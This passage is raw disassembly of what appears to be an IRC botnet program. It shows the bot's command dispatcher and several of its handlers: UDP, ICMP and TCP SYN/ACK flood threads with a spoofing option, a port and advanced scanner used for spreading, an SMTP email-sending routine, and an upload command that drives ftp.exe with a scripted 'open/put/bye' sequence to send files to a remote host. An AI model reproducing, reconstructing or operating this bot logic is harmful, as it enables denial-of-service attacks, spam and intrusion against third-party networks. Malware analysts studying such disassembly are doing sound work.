		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A1F
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407942
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407942
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407828
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407828
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F9E
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407723
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407723
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407250
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407250
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407131
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407131
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407131
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407015
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407015
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EEF
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EEF
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EEF
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D2B
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D2B
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406CD3
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47E8]
		push	eax
		call	sub_41C680
		push	edi
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4184]
		push	eax
		call	sub_41C680
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4584]
		push	eax
		call	sub_41C680
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB4
		push	[ebp+esi+var_7C]
		call	sub_4185D4
		push	eax
		lea	eax, [ebp+var_4284]
		push	eax
		call	sub_41C680
		add	esp, 30h
		lea	eax, [ebp+var_5584]
		push	eax
		push	101h
		call	dword_4CDBD4	; WSAStartup
		lea	eax, [ebp+var_47E8]
		push	eax
		call	dword_4CDCE8	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CDCE4	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_318], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_314], eax
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_316], ax
		lea	eax, [ebp+var_4284]
		push	eax
		lea	eax, [ebp+var_4184]
		push	eax
		lea	eax, [ebp+var_4284]
		push	eax
		lea	eax, [ebp+var_4584]
		push	eax
		lea	eax, [ebp+var_4184]
		push	eax
		lea	eax, [ebp+var_5984]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		lea	eax, [ebp+var_318]
		push	10h
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4084]
		push	edi
		push	eax
		push	esi
		call	dword_4CDC7C	; recv
		lea	eax, [ebp+var_4084]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5984]
		push	eax
		push	esi
		call	dword_4CDCB4	; send
		push	ebx
		lea	eax, [ebp+var_4084]
		push	edi
		push	eax
		push	esi
		call	dword_4CDC7C	; recv
		push	esi
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBBC	; WSACleanup
		lea	eax, [ebp+var_4584]
		push	eax
		push	offset unk_42C164


loc_406C8C:				; CODE XREF: sub_401B66+2E3Aj
					; sub_401B66+658Aj ...
		lea	eax, [ebp+var_2C0]


loc_406C92:				; CODE XREF: sub_401B66+688Fj
		push	eax
		call	sub_41C056


loc_406C98:				; CODE XREF: sub_401B66+23B8j
		add	esp, 0Ch


loc_406C9B:				; CODE XREF: sub_401B66+4453j
					; sub_401B66+44ABj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_401B66+2935j
					; sub_401B66+294Aj ...
		mov	esi, [ebp+arg_24]


loc_406CBF:				; CODE XREF: sub_401B66+8B5j
					; sub_401B66+77C1j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		pop	ecx
		mov	eax, esi
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_406CD3:				; CODE XREF: sub_401B66+4FD0j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CFD
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072A0


loc_406CFD:				; CODE XREF: sub_401B66+517Ej
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410923
		jmp	loc_40976C
; ---------------------------------------------------------------------------


loc_406D2B:				; CODE XREF: sub_401B66+4FA2j
					; sub_401B66+4FB9j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1350]
		push	esi
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_1350]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C840
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D90
		lea	eax, [ebp+var_1350]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D90
		lea	eax, [ebp+var_1350]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D90
		push	offset unk_42C11C
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_406D90:				; CODE XREF: sub_401B66+51F0j
					; sub_401B66+5207j ...
		push	[ebp+arg_18]
		call	sub_41BF49
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1248],	eax
		jle	loc_406EB2
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1350]
		push	esi
		push	eax
		call	sub_41C150
		push	edi
		lea	eax, [ebp+var_13D0]
		push	esi
		push	eax
		call	sub_41C150
		push	[ebp+arg_0]
		call	sub_41BF49
		mov	[ebp+var_124C],	eax
		xor	eax, eax
		cmp	[ebp+var_8EA], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D4],	eax
		lea	eax, [ebp+var_12D0]
		push	esi
		push	eax
		call	sub_41C150
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_1244],	ebx
		mov	[ebp+var_1240],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_123C],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E27
		mov	eax, offset aNormal ; "Normal"


loc_406E27:				; CODE XREF: sub_401B66+52BAj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42C0D8
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	14h
		push	eax
		call	sub_40AF8D
		add	esp, 2Ch
		mov	[ebp+var_1250],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D4]
		push	ebx
		push	eax
		push	offset sub_41444D
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1250]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_406EA8
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C0A0
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_406EA0:				; CODE XREF: sub_401B66+5348j
		push	32h
		call	dword_428064	; Sleep


loc_406EA8:				; CODE XREF: sub_401B66+5327j
		cmp	[ebp+var_1238],	ebx
		jz	short loc_406EA0
		jmp	short loc_406EC5
; ---------------------------------------------------------------------------


loc_406EB2:				; CODE XREF: sub_401B66+523Bj
		push	offset unk_42C068


loc_406EB7:				; CODE XREF: sub_401B66+1F3Ej
					; sub_401B66+1F54j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_406EC5:				; CODE XREF: sub_401B66+206Fj
					; sub_401B66+2571j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402418
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_406EE2:				; CODE XREF: sub_401B66+232Ej
		call	sub_409982
		add	esp, 14h
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401B66+4F5Dj
					; sub_401B66+4F74j ...
		cmp	dword_4CDD50, ebx
		jnz	loc_406FFA
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF4], eax
		lea	eax, [ebp+var_1088]
		push	eax
		call	sub_41BDC0
		push	edi
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+var_1008],	eax
		call	sub_41BF49
		push	[ebp+arg_18]
		mov	[ebp+var_1004],	eax
		call	sub_41BF49
		push	7Fh
		mov	[ebp+var_1000],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1108]
		push	eax
		call	sub_41BDC0
		push	[ebp+var_1000]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_110C],	eax
		lea	eax, [ebp+var_1088]
		push	[ebp+var_1004]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_1008]
		push	offset unk_42C020
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	16h
		push	eax
		call	sub_40AF8D
		add	esp, 48h
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_110C]
		push	ebx
		push	eax
		push	offset sub_4138B0
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_FF8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_406FED
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BFE4
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_406FE5:				; CODE XREF: sub_401B66+548Dj
		push	32h
		call	dword_428064	; Sleep


loc_406FED:				; CODE XREF: sub_401B66+546Cj
		cmp	[ebp+var_FEC], ebx
		jz	short loc_406FE5
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_406FFA:				; CODE XREF: sub_401B66+538Fj
		push	1FFh
		lea	eax, [ebp+var_2C0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BDC0
		jmp	loc_405F6A
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401B66+4F2Fj
					; sub_401B66+4F46j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42BF90
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	[ebp+arg_0]
		call	sub_41B7B0
		push	edi
		mov	[ebp+arg_20], eax
		call	sub_41B7B0
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_10]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_41B7B0
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_8]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_41B7B0
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_18]
		lea	eax, [eax+ecx+7]
		push	eax
		call	sub_41C0D0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41BF49
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40711D


loc_4070A6:				; CODE XREF: sub_401B66+5564j
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_418D6C
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070CE
		cmp	eax, ebx
		jnz	short loc_4070ED
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070A6
		jmp	short loc_407126
; ---------------------------------------------------------------------------


loc_4070CE:				; CODE XREF: sub_401B66+5555j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF58


loc_4070D7:				; CODE XREF: sub_401B66+55C9j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h
		jmp	loc_4072A0
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401B66+5559j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BF24
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 20h


loc_40711D:				; CODE XREF: sub_401B66+553Ej
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072A0


loc_407126:				; CODE XREF: sub_401B66+5566j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEF0
		jmp	short loc_4070D7
; ---------------------------------------------------------------------------


loc_407131:				; CODE XREF: sub_401B66+4EEAj
					; sub_401B66+4F01j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C64], eax
		lea	eax, [ebp+var_CF8]
		push	eax
		call	sub_41BDC0
		push	edi
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+var_C78], eax
		call	sub_41BF49
		push	[ebp+arg_18]
		mov	[ebp+var_C74], eax
		call	sub_41BF49
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C70], eax
		jz	short loc_407196
		push	esi
		call	sub_41BF49
		pop	ecx
		mov	[ebp+var_C6C], eax
		jmp	short loc_40719C
; ---------------------------------------------------------------------------


loc_407196:				; CODE XREF: sub_401B66+561Fj
		mov	[ebp+var_C6C], ebx


loc_40719C:				; CODE XREF: sub_401B66+562Ej
		push	7Fh
		lea	eax, [ebp+var_D78]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		push	[ebp+var_C70]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CF8]
		mov	[ebp+var_D7C], esi
		push	[ebp+var_C74]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_C78]
		push	offset unk_42BEA8
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	17h
		push	eax
		call	sub_40AF8D
		add	esp, 30h
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D7C]
		push	ebx
		push	eax
		push	offset sub_413A3C
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_C68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407243
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BE70
		jmp	loc_407FF0
; ---------------------------------------------------------------------------


loc_40723B:				; CODE XREF: sub_401B66+56E3j
		push	32h
		call	dword_428064	; Sleep


loc_407243:				; CODE XREF: sub_401B66+56C2j
		cmp	[ebp+var_C5C], ebx
		jz	short loc_40723B
		jmp	loc_407FFF
; ---------------------------------------------------------------------------


loc_407250:				; CODE XREF: sub_401B66+4EBCj
					; sub_401B66+4ED3j
		push	0Bh
		call	sub_40B1CF
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41BF49
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407419
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BE30
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 20h


loc_4072A0:				; CODE XREF: sub_401B66+5191j
					; sub_401B66+5582j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F9E
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40976F
		push	4
		push	esi
		call	sub_416E71
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072EB
		push	esi
		push	offset unk_42BE08


loc_4072D7:				; CODE XREF: sub_401B66+7A0Fj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_403FC3
; ---------------------------------------------------------------------------


loc_4072EB:				; CODE XREF: sub_401B66+5769j
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_41C0B2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C0B2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C0B2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F4]
		push	edx
		push	eax
		lea	eax, [ebp+var_2BB0]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2BB0]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BC92
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F9E
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C5D6
		push	[ebp+arg_24]
		call	sub_41B82B
		lea	eax, [ebp+var_2BB0]
		push	eax
		lea	eax, [ebp+var_4CEC]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41C056
		add	esp, 2Ch
		lea	eax, [ebp+var_4CEC]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CDBD0	; ShellExecuteA
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073B7
		push	offset unk_42BD98
		jmp	short loc_4073BC
; ---------------------------------------------------------------------------


loc_4073B7:				; CODE XREF: sub_401B66+5848j
		push	offset unk_42BD68


loc_4073BC:				; CODE XREF: sub_401B66+584Fj
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4073E5
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_4073E5:				; CODE XREF: sub_401B66+5861j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		jmp	short loc_4073FF
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401B66+58ACj
		lea	eax, [ebp+var_2BB0]
		push	eax
		call	sub_41C5AC


loc_4073FF:				; CODE XREF: sub_401B66+588Bj
		lea	eax, [ebp+var_2BB0]
		push	4
		push	eax
		call	sub_416E71
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4073F3
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_407419:				; CODE XREF: sub_401B66+5704j
		push	[ebp+arg_10]
		call	sub_41BF49
		push	edi
		mov	[ebp+var_36C], eax
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+var_354], eax
		call	sub_41BF49
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_368], eax
		jnb	short loc_407452
		push	5
		pop	eax
		mov	[ebp+var_368], eax


loc_407452:				; CODE XREF: sub_401B66+58E1j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40745F
		mov	[ebp+var_368], ecx


loc_40745F:				; CODE XREF: sub_401B66+58F1j
		push	[ebp+arg_18]
		call	sub_41BF49
		mov	[ebp+var_364], eax
		mov	eax, 320h
		cmp	[ebp+var_364], eax
		pop	ecx
		jbe	short loc_407481
		mov	[ebp+var_364], eax


loc_407481:				; CODE XREF: sub_401B66+5913j
		or	[ebp+var_350], 0FFFFFFFFh
		cmp	dword_432A90, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_4074D0
		mov	edi, offset dword_432A90


loc_407498:				; CODE XREF: sub_401B66+594Cj
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074B6
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_407498
		jmp	short loc_4074D0
; ---------------------------------------------------------------------------


loc_4074B6:				; CODE XREF: sub_401B66+5942j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_350], eax
		shl	ecx, 6
		mov	ecx, dword_432A90[ecx]
		mov	[ebp+var_36C], ecx


loc_4074D0:				; CODE XREF: sub_401B66+592Bj
					; sub_401B66+594Ej
		cmp	[ebp+var_36C], ebx
		jnz	short loc_4074E2
		push	offset unk_42BD34
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_4074E2:				; CODE XREF: sub_401B66+5970j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40751D
		cmp	byte ptr [edi],	23h
		jz	short loc_40751D
		push	edi
		lea	eax, [ebp+var_480]
		push	10h
		push	eax
		call	sub_41C150
		push	78h
		push	edi
		call	sub_41C780
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_340], eax
		jmp	loc_4075F7
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401B66+5985j
					; sub_401B66+598Aj
		cmp	[ebp+var_8FB], bl
		jnz	short loc_40753F
		cmp	[ebp+var_8FA], bl
		jnz	short loc_40753F
		cmp	[ebp+var_8EA], bl
		jnz	short loc_40753F
		push	offset unk_42BD00
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_40753F:				; CODE XREF: sub_401B66+59BDj
					; sub_401B66+59C5j ...
		push	10h
		lea	eax, [ebp+var_2CC]
		pop	edi
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		mov	[ebp+var_2CC], edi
		push	[ebp+arg_4]
		call	dword_4CDC08	; getsockname
		mov	al, [ebp+var_8FB]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_300], eax
		push	[ebp+var_300]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch
		cmp	[ebp+var_8EA], bl
		jz	short loc_4075F1
		xor	eax, eax
		cmp	[ebp+var_8FB], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_480]
		push	eax
		call	sub_41C610
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4075E5


loc_4075C3:				; CODE XREF: sub_401B66+5A7Dj
		cmp	eax, ebx
		jz	short loc_4075E5
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_480]
		push	30h
		push	eax
		call	sub_41C610
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075C3


loc_4075E5:				; CODE XREF: sub_401B66+5A5Bj
					; sub_401B66+5A5Fj
		mov	[ebp+var_340], 1
		jmp	short loc_4075F7
; ---------------------------------------------------------------------------


loc_4075F1:				; CODE XREF: sub_401B66+5A35j
		mov	[ebp+var_340], ebx


loc_4075F7:				; CODE XREF: sub_401B66+59B2j
					; sub_401B66+5A89j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_370], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_348], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_344], eax
		mov	edi, 80h
		lea	eax, [ebp+var_470]
		push	edi
		push	eax
		call	sub_41C150
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407648


loc_407635:				; CODE XREF: sub_401B66+5B05j
		push	esi


loc_407636:				; CODE XREF: sub_401B66+5AEFj
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 0Ch
		jmp	short loc_407673
; ---------------------------------------------------------------------------


loc_407648:				; CODE XREF: sub_401B66+5ACDj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407657
		cmp	byte ptr [eax],	23h
		jnz	short loc_407657
		push	eax
		jmp	short loc_407636
; ---------------------------------------------------------------------------


loc_407657:				; CODE XREF: sub_401B66+5AE7j
					; sub_401B66+5AECj
		mov	esi, offset aGxxx_0 ; "#Gxxx"
		push	offset byte_43FE14
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407635
		mov	[ebp+var_3F0], bl


loc_407673:				; CODE XREF: sub_401B66+5AE0j
		cmp	[ebp+var_340], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407685
		mov	eax, offset aSequential	; "Sequential"


loc_407685:				; CODE XREF: sub_401B66+5B18j
		push	[ebp+var_354]
		lea	ecx, [ebp+var_480]
		push	[ebp+var_364]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BC98
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40AF8D
		add	esp, 2Ch
		mov	[ebp+var_360], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_480]
		push	ebx
		push	eax
		push	offset sub_40C1BE
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_360]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407716
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC60
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_40770E:				; CODE XREF: sub_401B66+5BB6j
		push	32h
		call	dword_428064	; Sleep


loc_407716:				; CODE XREF: sub_401B66+5B95j
		cmp	[ebp+var_33C], ebx
		jz	short loc_40770E
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_407723:				; CODE XREF: sub_401B66+4E8Ej
					; sub_401B66+4EA5j
		push	[ebp+arg_10]
		call	sub_40AA04
		push	edi
